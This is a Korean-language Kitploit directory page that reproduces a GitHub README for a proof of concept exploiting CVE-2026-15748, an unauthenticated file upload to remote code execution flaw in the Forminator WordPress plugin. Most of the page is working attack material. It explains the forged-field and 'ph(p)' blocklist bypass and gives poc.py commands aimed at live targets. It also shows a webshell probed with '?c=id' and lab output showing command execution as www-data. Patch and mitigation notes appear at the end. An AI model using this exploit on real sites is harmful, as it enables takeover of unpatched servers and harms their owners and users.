Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-15748 — Forminator Forms <= 1.56.1 - 위조된 업로드 필드 구성을 통한 인증되지 않은 임의 파일 업로드 | Kitploit
도구/GitHubGitHub/ubaydev/cve-2026-15748
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed Teaming
GitHububaydev/cve-2026-15748

CVE-2026-15748

Forminator Forms <= 1.56.1 - 위조된 업로드 필드 구성을 통한 인증되지 않은 임의 파일 업로드

저장소 보기
321일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-15748 — Forminator Forms 인증 없이 임의 파일 업로드 → RCE

CVSS 9.8 (Critical) · 영향: Forminator <= 1.56.1 · 패치: 1.56.2 연구자: daroo (Wordfence 버그 바운티, $2,048) · 약 60만 개 활성 설치 라이트업: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/

근본 원인 체인

위조된 Select 필드 값을 통해 연결되는 세 가지 약점:

  1. 중첩 필드 배열에 대한 검증 부재 — Forminator_CForm_Front_Action::set_field_data() prepare_fields_info()는 저장된 각 필드를 반복 처리합니다. 저장된 Select 필드 select-1의 경우, $field_data = prepared_data['select-1'] (공격자가 제어하는 중첩 배열)입니다. 여기에 return이 포함되면 해당 배열은 필드별 sanitize/validate 전에 에 통째로 추가됩니다 (front-action.php 1088행 근처). 은 이를 제거하지 않습니다.

field_data_array
maybe_handle_custom_option()
  • 신뢰할 수 없는 필드 구성이 업로드 시 신뢰됨 — Forminator_CForm_Front_Action::process_uploads() field_data_array를 반복 처리하며, 위조된 field_type == 'upload'를 신뢰하고, 위조된 name을 사용해 $_FILES 입력을 선택한 뒤, 위조된 field_array를 신뢰할 수 있는 구성으로 Forminator_Upload::handle_file_upload()에 전달합니다.

  • 차단 목록 정확-키 우회 — forminator_allowed_mime_types()는 리터럴 키 php를 제거하지만, wp_check_filetype()는 키를 정규식으로 취급합니다. 키 ph(p)는 차단 목록을 통과하면서도 .php 접미사와 매칭됩니다. additional-type = ph(p)|text/x-php를 사용하면 .php 파일이 검증을 통과할 수 있습니다.

  • 악용 가능 조건

    게시된 양식에는 파일 업로드 필드와 Select 필드가 모두 포함되어야 합니다. Select는 단지 운반체(carrier)일 뿐입니다.

    실행 시 주의사항 (실험실 검증 완료)

    • 임의의 .php 파일을 디스크에 업로드하는 것은 기본적으로 성공합니다 (쓰기에는 특별한 구성이 필요 없음).
    • RCE가 발생하려면 업로드 루트에 Apache .htaccess가 없어야 합니다. 기본 Forminator 루트와 사용자 지정 루트 모두 PHP를 차단하는 .htaccess(SetHandler none / RemoveHandler)가 생성됩니다. RCE는 해당 .htaccess가 없을 때만 실행됩니다 — 라이트업에서 설명한 "insert_with_markers()가 로드되지 않은 프런트엔드 요청 중 생성된 사용자 지정 스토리지 루트" 시나리오입니다.
    • 실험실에서는 사용자 지정 스토리지 루트를 사용하고 .htaccess가 없는 상태를 시뮬레이션하여 RCE를 달성했습니다.

    업로드 경로 및 해시 (실제 테스트에 중요)

    • 기본 루트: wp-content/uploads/forminator/ → 파일 위치: wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.
    • 사용자 지정 루트: 관리자가 forminator_custom_upload_root(예: cveuploads)를 설정한 경우 파일은 wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>에 저장됩니다.
    • <hash>는 wp_hash($form_id)입니다. 이 값은 사이트의 AUTH salts에서 파생되므로 외부에서 예측할 수 없습니다. poc.py는 경로 패턴을 출력하며, 경로를 완성하려면 반드시 해시를 복구해야 합니다(디렉터리 목록, 기존 업로드 파일의 URL/로그, 관리자 항목 등) --form-hash를 통해 지정합니다.
    • 업로드된 파일 이름은 wp_generate_password(12,false,false) . '-' . <original> 입니다. 예: cX3fRjMDDu03-shell.php (12자리 영숫자 + - + 원본 이름).

    사용법 — poc.py

    기본적으로 실사용(live) 우선 설계입니다. 로컬 실험실 헬퍼(파일 FS 스캔, .htaccess 제거)는 http://wordpresslab.test / http://localhost에서만 동작합니다.

    root@kitploit:~
    # A) 가장 간단한 방법 (자동 발견): 페이지를 가져와 nonce/form_id/필드 파싱, 자동 입력, 업로드
    python3 poc.py --target https://site.tld/                       # url만 입력 -> index를 가져옴
    python3 poc.py --target https://site.tld/kontak                # 경로 지정 -> 해당 페이지를 가져옴
    python3 poc.py --target https://site.tld/ --page-id 42         # ?page_id=42 추가
    
    # B) 수동 nonce/form-id (발견 건너뜀, 그래도 --auto 수집을 위해 페이지를 가져옴)
    python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
    
    # C) 실사용 대상에서 후보 셸 URL 검증
    python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
        --verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
    
    # D) 로컬 실험실: 전체 RCE (컨테이너 FS 스캔, .htaccess 제거, 실행)
    python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
    

    플래그

    플래그설명
    --target기본 URL (--page-id/수동 지정이 없으면 전체 페이지 URL)
    --page-id게시물 ID. 비어 있으면 target URL 자체를 가져와 nonce/form_id를 얻음
    --form-id, --nonce자동 발견을 건너뜀. 그래도 --auto 수집을 위해 페이지를 가져옴
    --upload-field실제 업로드 필드 이름 (기본값 upload-1)
    --forge-name위조된 $_FILES 운반체 (기본값 = 실제 이름, 충돌 모드. 깨끗한 success=True를 원하면 다른 이름 사용)
    --select사용할 select 필드 (기본값 select-1)
    --extra name=value필드 값 강제 지정 (반복 가능. 여러 값은 --extra 'checkbox-1[]=a+b')
    --auto / --no-autoHTML에서 실제 양식 필드를 수집하고 유형별로 그럴듯한 값을 자동 입력 (기본값 켜짐)
    --upload-root상대 업로드 루트 (기본값 wp-content/uploads/forminator; 사용자 지정 루트는 예: wp-content/uploads/cveuploads)
    --form-hash업로드 디렉터리의 <hash> 부분 → 구체적인 URL 완성/출력
    --verify-url실사용: 후보 셸 URL을 ?c=id/?c=whoami로 탐색
    --find-shell로컬 전용 (wordpresslab.test/localhost): 가장 최신 *-shell.php 찾기, .htaccess 제거, 실행
    --no-htaccess로컬 실험실 .htaccess 제거 메모 출력

    --auto 값 매핑 (양식 HTML에서 수집)

    필드 유형생성 값
    email / 이름에 email 포함auto<rand>@mailinator.com
    tel / 이름에 phone 포함10자리 난수
    url / 이름에 url 포함https://example.com/<rand>
    number1–9999 사이 난수
    date2026-08-19
    checkbox/radio 그룹 name[]첫 번째 옵션 값 (같은 이름의 모든 input 스캔)
    단일 checkbox/radiovalue 속성, 없으면 checked
    <select> (운반체 아님)첫 번째 비어 있지 않은 옵션
    <textarea>임의 텍스트
    일반 텍스트임의 10자

    건너뜀: 내부 필드 (action/form_id/nonce/...), type="file" (upload-*), select-* (악용 운반체), calculation-* (계산값), 외부 플러그인 필드 (wpforms[...]).

    실험실 재현 (wordpresslab.test, WP 6.9.4 + Forminator 1.56.1)

    설정:

    • 실제 업로드 필드 + Select 필드가 있는 양식 (build_form.php, Forminator_Form_Model API로 생성).
    • RCE를 시연하기 위해 사용자 지정 업로드 스토리지 루트 활성화 (forminator_custom_upload=1, forminator_custom_upload_root=cveuploads). cveuploads/는 실험실 산출물이지 Forminator 기본값이 아닙니다.
    • 설계 참고: 깨끗한 success=True를 얻으려면 위조된 name이 실제 업로드 필드의 element_id와 달라야 합니다. 이름이 충돌해도 파일은 업로드되지만, 실제 필드도 자체 기본 MIME 검사를 실행하므로 응답에 오류가 보고되는 동안 셸은 이미 디스크에 존재합니다.

    원시 증거 (실험실 실행):

    root@kitploit:~
    # 기본 경로 패턴 (해시는 사이트 비밀):
    wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
    
    [+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
    ?c=id     -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ?c=whoami -> CVE-2026-15748-RCE www-data
    
    # .htaccess 존재 (보호됨): 요청 시 원시 PHP 소스가 반환됨 (실행되지 않음)
    

    파일

    • poc.py — 실사용 우선 PoC (자동 발견, 자동 입력, verify-url, 로컬 RCE 헬퍼)
    • build_form.php — 모델 API를 통한 프로그램 방식 실험실 양식 빌더 (업로드 + select)
    • README.md — 이 문서

    완화 방법

    • Forminator >= 1.56.2로 업데이트 (MIME 차단 목록 우회 및 신뢰된 필드 구성 경로 차단).
    • 사용자 지정 업로드 스토리지 루트가 Forminator .htaccess/index 보호 범위에 포함되는지 확인하세요.
    • 승인된 테스트 대상에 대해서만 PoC를 실행하세요.
    도구 다운로드